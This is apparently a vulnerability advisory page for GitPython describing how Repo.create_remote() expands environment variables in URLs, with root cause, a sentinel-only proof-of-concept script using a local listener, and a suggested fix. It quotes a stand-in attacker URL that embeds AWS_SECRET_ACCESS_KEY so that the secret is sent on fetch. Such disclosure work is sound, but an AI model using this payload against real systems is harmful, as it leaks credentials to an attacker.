Skip to content

GHSA-94p4-4cq8-9g67 CVE-2026-73622 PYSEC-2026-3951

GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)

High PyPI
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.51%
Chance of exploitation in the next 30 days. Higher than 43.80% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
CWE-214 Invocation of Process Using Visible Sensitive Information
Fix
3.1.55
Upgrade gitpython to this version or later

Description

Summary

The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.

Root Cause

Fix commit 8ac5a305 added an expand_vars parameter to Git.polish_url() (default True) and used expand_vars=False only in Repo._clone() (git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.

git/remote.py:811, Remote.create:

url = Git.polish_url(url)                 # expand_vars=True -> os.path.expandvars(url)
if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)       # https:// carrying the secret passes
repo.git.remote(scmd, "--", name, url, **kwargs)   # expanded URL written to .git/config

check_unsafe_protocols() runs after expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive.

The same unguarded call also sits at git/objects/submodule/base.py:611 (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config.

Steps to Reproduce

Prerequisites

  • Python 3.9+
  • git on PATH (for the fetch step)
  • GitPython 3.1.53 (installed below)

Step 1: Install GitPython 3.1.53 in a clean venv

mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53

Step 2: Write the PoC

cat > poc.py <<'PYEOF'
#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading

import git

print("gitpython version:", git.__version__)

# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL

# Local HTTP server standing in for attacker.example.
captured = []


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        captured.append(self.path)
        self.send_response(404)
        self.end_headers()

    def log_message(self, *a):
        pass


srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()

# Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port


def norm(s):  # display the ephemeral listener port as a stable placeholder
    return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")


print("attacker-supplied URL :", norm(attacker_url))

repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url)   # public API

stored = repo.remote("evil").url
print("stored remote URL     :", norm(stored))
print("SENTINEL in git config:", SENTINEL in stored)

try:
    remote.fetch()          # transmits the expanded URL to the attacker host
except Exception:
    pass                    # fetch fails after the request is already sent

srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print("HTTP paths received   :", [norm(p) for p in captured])
print("SENTINEL over network :", over_network)

print()
if SENTINEL in stored and over_network:
    print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host")
elif SENTINEL in stored:
    print("VULNERABLE: env-var expanded into stored git-config URL")
else:
    print("not reproduced")
PYEOF

Step 3: Run it

cd /tmp/gp-remote-poc && ./venv/bin/python poc.py

Expected output (the listener's ephemeral port is shown as PORT):

gitpython version: 3.1.53
attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git
stored remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git
SENTINEL in git config: True
HTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']
SENTINEL over network : True

VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host

The ${GP_SENTINEL_SECRET} token in the supplied URL is replaced with the environment value both in the stored .git/config URL and in the request that reaches the attacker-controlled host.

Suggested Fix

Pass expand_vars=False at the remaining URL callers, matching the clone fix:

  • git/remote.py Remote.create: url = Git.polish_url(url, expand_vars=False)
  • git/objects/submodule/base.py Submodule.add: url = Git.polish_url(url, expand_vars=False)

More robustly, flip the Git.polish_url() default to expand_vars=False (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.

Cleanup

rm -rf /tmp/gp-remote-poc

Impact

Any secret in the hosting process environment (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to Repo.create_remote() / Remote.add(). The secret is expanded into .git/config immediately and transmitted over the network (DNS + HTTP) on the next fetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches .gitmodules (a committable file) via Submodule.add().

Affected versions

PyPI

PackageVulnerableFixed in
gitpython
< 3.1.55
3.1.55

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

gitpython PyPI → 3.1.55

pip
pip install --upgrade "gitpython>=3.1.55"
poetry
poetry add "gitpython>=3.1.55"
uv
uv add "gitpython>=3.1.55"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

How to prevent it
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-214: Invocation of Process Using Visible Sensitive Information

A process is invoked with sensitive command-line arguments, environment variables, or other elements that can be seen by other processes on the operating system.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-83vg-56qc-22m7
GitPython validates a submodule's ".git" path only after cloning into it (RCE)
High Also affects gitpython
GHSA-gq48-pqfc-9p58
GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree
Medium Also affects gitpython
GHSA-23mf-xhv8-69c2
GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)
High Also affects gitpython
GHSA-f9j4-qggq-h239
GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution
Critical Also affects gitpython
GHSA-w8jc-g24h-crhw
GitPython command wrappers omit unsafe protocol and option checks
High Also affects gitpython
GHSA-m64x-33q8-m5h7
GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines
High Also affects gitpython
GHSA-fx3j-rwgx-fr94
GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name
High Also affects gitpython
GHSA-59cr-6r3x-644w
GitPython submodule update path traversal can write outside the repository
Medium Also affects gitpython
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor